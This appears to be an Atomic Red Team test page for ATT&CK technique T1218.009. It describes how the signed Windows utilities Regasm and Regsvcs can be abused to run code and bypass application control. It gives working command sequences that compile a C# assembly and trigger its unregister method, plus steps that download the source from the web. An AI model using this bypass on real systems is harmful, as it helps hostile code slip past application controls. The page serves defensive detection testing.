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T1218.009 - Regsvcs/Regasm

Description from ATT&CK

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

Atomic Tests


Atomic Test #1 - Regasm Uninstall Method Call Test

Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn't really execute either." will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
output_file Location of the payload Path %tmp%\T1218.009.dll
source_file Location of the CSharp source_file Path PathToAtomicsFolder\T1218.009\src\T1218.009.cs

Attack Commands: Run with command_prompt!

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}

Cleanup Commands:

del #{output_file} >nul 2>&1

Dependencies: Run with powershell!

Description: The CSharp source file must exist on disk at specified location (#{source_file})
Check Prereq Commands:
if (Test-Path #{source_file}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"


Atomic Test #2 - Regsvcs Uninstall Method Call Test

Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed along with other information about the assembly being installed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
output_file Location of the payload Path $Env:TEMP\T1218.009.dll
source_file Location of the CSharp source_file Path PathToAtomicsFolder\T1218.009\src\T1218.009.cs

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library /keyfile:$env:Temp\key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{output_file}

Cleanup Commands:

Remove-Item #{output_file} -ErrorAction Ignore | Out-Null
$parentpath = Split-Path -Path "#{output_file}"
Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null
Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null

Dependencies: Run with powershell!

Description: The CSharp source file must exist on disk at specified location (#{source_file})
Check Prereq Commands:
if (Test-Path #{source_file}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"